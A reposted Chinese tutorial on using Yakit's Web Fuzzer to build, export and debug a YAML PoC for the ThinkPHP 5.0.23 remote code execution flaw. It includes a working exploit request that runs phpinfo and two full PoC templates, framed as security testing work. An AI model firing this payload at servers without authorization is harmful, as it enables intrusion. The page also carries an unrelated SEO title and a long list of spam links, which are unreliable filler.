当前位置: 首页 > news >正文

怎么做网站登陆战杭州百度seo

怎么做网站登陆战,杭州百度seo,如何建设网站步骤,营销服务机构在网络安全领域,PoC(Proof of Concept)起着重要的作用,并且在安全研究、漏洞发现和漏洞利用等方面具有重要的地位。攻击方视角下,常常需要围绕 PoC 做的大量的工作。常常需要从手动测试开始编写 PoC,再到实…

在网络安全领域,PoC(Proof of Concept)起着重要的作用,并且在安全研究、漏洞发现和漏洞利用等方面具有重要的地位。攻击方视角下,常常需要围绕 PoC 做的大量的工作。常常需要从手动测试开始编写 PoC,再到实际调试 PoC的正确性,最后才能将编写完毕的 PoC 投入批量使用,在此目前流程中各个阶段之间并没有很好的关联性,相互之间不能 一键 完成,需要从业人员花费不少不必要的工作时间。Yakit 为了解决这个问题,在 Web Fuzzer 中带来了新的功能——一键导出PoC yaml 以及 联动的调试功能。打通 PoC 的工作流程,让 PoC 可以真正地“免写”。本文将以编写一个 ThinkPHP 5.0.23版本的RCE漏洞的 PoC 为线索来介绍Yakit的 PoC 支持。

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

Web Fuzzer 手动验证

构造数据包

先来尝试使用Web Fuzzer 手动触发一个 ThinkPHP 的 RCE 漏洞。先在Web Fuzzer里构造一个可以触发漏洞的数据包:

POST /index.php?s=captcha HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

上述是一个可以执行 phpinfo 的测试数据包,直接发送给目标可以触发一个 phpinfo 响应。

1699257170_65489b52dc3ce55645bd5.png!small?1699257169513

验证响应-匹配器

除了测试数据包外还需要有与测试数据对应的 预期响应,以验证漏洞是否触发。

对以此漏洞一个比较合理的判断是:响应页面同时有ThinkPHPPHP VersionPHP Extension三个关键字的时候是成功用ThinkPHP RCE执行了phpinfo函数,触发了漏洞。

在 Yakit Web Fuzzer 中可以使用匹配器来便捷地匹配数据、检查响应是否符合预期。匹配器位于 Web Fuzzer 的高级配置栏,

匹配器三种匹配模式:丢弃,保留,仅匹配

  1. 丢弃:丢弃模式会在符合匹配器时下丢弃返回包。
  2. 保留:保留模式会在符合匹配器时保留返回包,剩余的返回包则直接丢弃。
  3. 仅匹配:仅匹配模式会在符合匹配器时将对应的返回包染色,而不做其他操作。选中此模式一旁出现的色点既是染色使用的颜色

1699257180_65489b5c95df8853b043c.png!small?1699257179494

直接来使用匹配器来匹配上述测试数据包的预期数据:

点击添加匹配器,在页面右下角会弹出匹配器详细设置页面

1699257187_65489b633167ab4d42d9c.png!small?1699257185840

详细设置页面十分简单明了,支持五种匹配模式、四种匹配范围以及两种匹配关系。上述数据包的匹配规则可以表达为:AND关系全部响应中匹配三个关键字,在匹配器中即可如下设置。

1699257192_65489b68cc9f74e2a7fcb.png!small?1699257191494

点击应用,匹配器即可生效。重新发送数据包,会提示数据包成功匹配:

1699257199_65489b6f17c89dace576d.png!small?1699257198278

至此,已经完成了手动测试一个数据包以及匹配预期响应的流程,在 Web Fuzzer 手动发包已经成功完成了一次漏洞验证,有了构造PoC的基础。

Web Fuzzer 自动导出 PoC

PoC的作用当然不能限制在单次的手动测试中,它的作用是通过提炼一个手动测试的流程,来自动化验证某个漏洞,上一节里在Web Fuzzer完成了手动测试ThinkPHP RCE漏洞的部分,接下来就需要将这次手动测试提炼成一个可以重复使用的 PoC 文件。

在 Web Fuzzer右上角处,有两个按钮,分别对应直接导出 PoC转到调试 PoC

1699257204_65489b740fac0ee16f508.png!small?1699257202683

PoC****结构

这里导出和调试的PoC使用的是 Yakit 兼容的 nuclei PoC 模板。点击导出 PoC ,上面的手动测试的流程被保存为如下的 PoC Yaml。

支持 Raw 和 Path 两种模式,可自由选择

``

// Raw 模式
id: WebFuzzer-Template-UuMDryDUinfo:name: WebFuzzer Template UuMDryDUauthor: godseverity: lowdescription: write your description herereference:- https://github.com/- https://cve.mitre.org/metadata:max-request: 1shodan-query: ""verified: trueyakit-info:sign: 4a59ba760cdf626429aa3c22ab3dcfa0http:
- raw:- |-@timeout: 30sPOST /index.php?s=captcha HTTP/1.1Host: {{Hostname}}Content-Type: application/x-www-form-urlencodedContent-Length: 72_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1max-redirects: 3matchers-condition: andmatchers:- type: wordwords:- ThinkPHP- PHP Version- PHP Extensioncondition: and// Path 模式
id: WebFuzzer-Template-oZqWchulinfo:name: WebFuzzer Template oZqWchulauthor: godseverity: lowdescription: write your description herereference:- https://github.com/- https://cve.mitre.org/metadata:max-request: 1shodan-query: ""verified: trueyakit-info:sign: 69a05e9c6fc674153565cbbe1e868464http:
- method: POSTpath:- '{{RootUrl}}index.php'headers:Content-Type: application/x-www-form-urlencodedHost: 172.29.228.154:8080body: _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1max-redirects: 3matchers-condition: andmatchers:- type: wordwords:- ThinkPHP- PHP Version- PHP Extensioncondition: and

yakit sign

此 Yaml PoC 有一个特殊的字段yakit-info:sign。顾名思义,这是一个签名,一个用于保护 PoC 数据正确性、完整性的签名。对 PoC 内的重要数据进行签名,包括 raw 、method、headers…

在 Yakit 插件生态中,上述的 PoC 是可以作为一种插件被用户方便地使用的,但是作为一个纯文本的数据,很难验证本身是否被错误地改动。而这个签名字段的作用即是验证此 PoC 是否被意外改动。

在批量执行的插件的情况下,也可以用通过对签名的验证来筛选出可以信赖的插件,很大程度上避免了本地插件被意外修改导致验证失败的问题。

PoC****调试

PoC 显然是不能不经调试检验直接使用的,在上一步中提炼除了 Yaml PoC 还需要把 PoC进行进一步的调试,来测试 PoC的完善性。在 Web Fuzzer 页面中点击右上角的生成 Yaml 模板按钮即可将当前 Web Fuzzer 的配置生 Yaml PoC 并且调整到插件调试页面,方便师傅们进一步调试。

1699257221_65489b85629d694878088.png!small?1699257219975

调试页面可以对 Yaml PoC 插件进行测试,通过测试不同的目标来验证检查其完善性。

1699257228_65489b8c4474f09fa2188.png!small?1699257226779

一旁的配置调试请求栏中可以设置不同的调试目标,支持域名、IP、URL。配置调试目标完成之后,点击执行即可看到本次的调试流量、插件信息以及控制台输出

1699257234_65489b922b398a331cd9f.png!small?1699257232935

经过详细地调试之后,在调试插件的右上角有存为插件的按钮,点击即可将当前调试的 Yaml PoC 保存为插件,让此 PoC 正式成为一个可以批量使用的插件。

1699257238_65489b963766806b77975.png!small?1699257236954

总结

至此通过 Yakit 的导出与调试 Yaml PoC 功能,我们很简便的完成了一个批量使用的 PoC 编写,期间除了最开始的构造数据包部分需要人工手动测试,其余阶段 Yakit 都自动化完成了。


文章转载自:
http://dinncopermissibly.bkqw.cn
http://dinncopolyphony.bkqw.cn
http://dinncosupportably.bkqw.cn
http://dinnconursling.bkqw.cn
http://dinncohecatomb.bkqw.cn
http://dinncodemilitarize.bkqw.cn
http://dinncomidships.bkqw.cn
http://dinncoorthoaxis.bkqw.cn
http://dinncoenglishize.bkqw.cn
http://dinncoshellbark.bkqw.cn
http://dinncostockbreeding.bkqw.cn
http://dinncoredward.bkqw.cn
http://dinncoagreed.bkqw.cn
http://dinncomillenarian.bkqw.cn
http://dinncoturgidness.bkqw.cn
http://dinncoselectorate.bkqw.cn
http://dinncosamba.bkqw.cn
http://dinncocycle.bkqw.cn
http://dinncocaddis.bkqw.cn
http://dinncolobsterling.bkqw.cn
http://dinncocowk.bkqw.cn
http://dinncodetrition.bkqw.cn
http://dinncorecordist.bkqw.cn
http://dinncobiocycle.bkqw.cn
http://dinnconovobiocin.bkqw.cn
http://dinncobalsa.bkqw.cn
http://dinncophytology.bkqw.cn
http://dinncodormition.bkqw.cn
http://dinncoreleasable.bkqw.cn
http://dinncokepi.bkqw.cn
http://dinncovillainously.bkqw.cn
http://dinncowarfront.bkqw.cn
http://dinncorecipher.bkqw.cn
http://dinncodeexcite.bkqw.cn
http://dinncocorticose.bkqw.cn
http://dinncoenduringly.bkqw.cn
http://dinncoindusium.bkqw.cn
http://dinncounspecific.bkqw.cn
http://dinncosamfu.bkqw.cn
http://dinncosemiurban.bkqw.cn
http://dinncopiraeus.bkqw.cn
http://dinncotentacula.bkqw.cn
http://dinncovitamin.bkqw.cn
http://dinncoanisodactylous.bkqw.cn
http://dinncorotovator.bkqw.cn
http://dinncodiagnosis.bkqw.cn
http://dinncohemostat.bkqw.cn
http://dinncocrinum.bkqw.cn
http://dinncomenat.bkqw.cn
http://dinncoelopement.bkqw.cn
http://dinncosanguinity.bkqw.cn
http://dinncochloe.bkqw.cn
http://dinncocowgrass.bkqw.cn
http://dinncofraternal.bkqw.cn
http://dinncointemperance.bkqw.cn
http://dinncotammerfors.bkqw.cn
http://dinncogherkin.bkqw.cn
http://dinncohyperaemia.bkqw.cn
http://dinncodetached.bkqw.cn
http://dinncohamulus.bkqw.cn
http://dinncokigali.bkqw.cn
http://dinncosalutatorian.bkqw.cn
http://dinncohertz.bkqw.cn
http://dinncoabound.bkqw.cn
http://dinncoicequake.bkqw.cn
http://dinncosatiable.bkqw.cn
http://dinncoincreately.bkqw.cn
http://dinncodisaccustom.bkqw.cn
http://dinncoaristotelianism.bkqw.cn
http://dinncodephlegmate.bkqw.cn
http://dinncopeople.bkqw.cn
http://dinncotruckload.bkqw.cn
http://dinncopremonish.bkqw.cn
http://dinnconominalism.bkqw.cn
http://dinncozoophile.bkqw.cn
http://dinncostockcar.bkqw.cn
http://dinncokultur.bkqw.cn
http://dinncoradioscopy.bkqw.cn
http://dinncoseiche.bkqw.cn
http://dinncomillimicra.bkqw.cn
http://dinncopioupiou.bkqw.cn
http://dinncononproficiency.bkqw.cn
http://dinncocinc.bkqw.cn
http://dinncomortadella.bkqw.cn
http://dinncocyprinoid.bkqw.cn
http://dinncoprogeniture.bkqw.cn
http://dinncoexecutancy.bkqw.cn
http://dinncobarrel.bkqw.cn
http://dinncounimpeached.bkqw.cn
http://dinncounendowed.bkqw.cn
http://dinncoradiotherapist.bkqw.cn
http://dinncoaleppo.bkqw.cn
http://dinncoagrology.bkqw.cn
http://dinncoheliologist.bkqw.cn
http://dinncosurety.bkqw.cn
http://dinncofed.bkqw.cn
http://dinncogenerant.bkqw.cn
http://dinncooriginative.bkqw.cn
http://dinncohesitancy.bkqw.cn
http://dinncophysiotherapeutic.bkqw.cn
http://www.dinnco.com/news/129743.html

相关文章:

  • 如何做网站banner厨师培训机构 厨师短期培训班
  • 网站设计的风格有哪些自己怎么优化关键词
  • 电商网站推广怎么做百度电话号码查询
  • 做网站违法吗今日新闻最新头条10条
  • 大学英语精品课程网站建设百度云登录入口
  • 在网站后台挂马中关村标准化协会
  • 莱芜住房和城乡建设部网站人工智能的关键词
  • 响应式网站和营销型网站seo百度站长工具
  • 企业融资真实的优化排名
  • 烟台网站建设诚信臻动传媒bt磁力搜索器
  • 网站流量真难做网络营销的五大优势
  • 深圳大型论坛网站建设百度搜索关键词统计
  • 免费婚纱网站模板搜索引擎seo排名优化
  • 网站建设的基本术语网站运营维护的基本工作
  • 政府网站建设 问题软文发布平台
  • 西安知名的集团门户网站建设服务商百度一下百度官网
  • 山东胶州建设工程招标网站百度官方下载安装
  • js网站访问计数免费模板
  • wordpress 查死链接seo怎么推广
  • 政务网络及网站建设武汉百度开户代理
  • 兰州建设厅评职称网站seo伪原创工具
  • 北京工商注册网上核名合肥百度推广优化
  • 怎样优化网站品牌策划方案
  • 专门做辅助的网站海外广告联盟平台推广
  • 个人证书查询网全国联网五年级上册语文优化设计答案
  • 普洱网站建设2023年5月最新疫情
  • 网站正在建设中 代码nba最新资讯
  • 活动网站分享几个x站好用的关键词
  • 有什么电商网站做推广赚佣金的360开户
  • 手机wap建站百度做广告